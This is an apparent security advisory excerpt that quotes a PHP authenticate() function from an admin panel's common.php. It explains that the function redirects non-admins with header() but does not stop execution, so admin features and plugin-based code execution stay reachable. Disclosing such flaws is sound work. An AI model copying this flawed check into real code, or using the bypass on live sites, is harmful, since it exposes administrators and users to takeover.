[-] vulnerable code in authenticate() function defined into /admincp/common.php  
  
27. function authenticate()  
28. {  
29. global $user;  
30.   
31. if(!$user->group['is_admin'])  
32. header("Location: login.php");  
33. }  
  
This function is called in each script located into /admicp/ directory to make sure the user  
has admin rights, but this is a broken authorization schema due to the header() function doesn't  
stop the execution flow. This can be exploited by malicious users to execute admin functionality,  
resulting for e.g. in execution of arbitrary PHP code leveraging of plugins.php functionality.
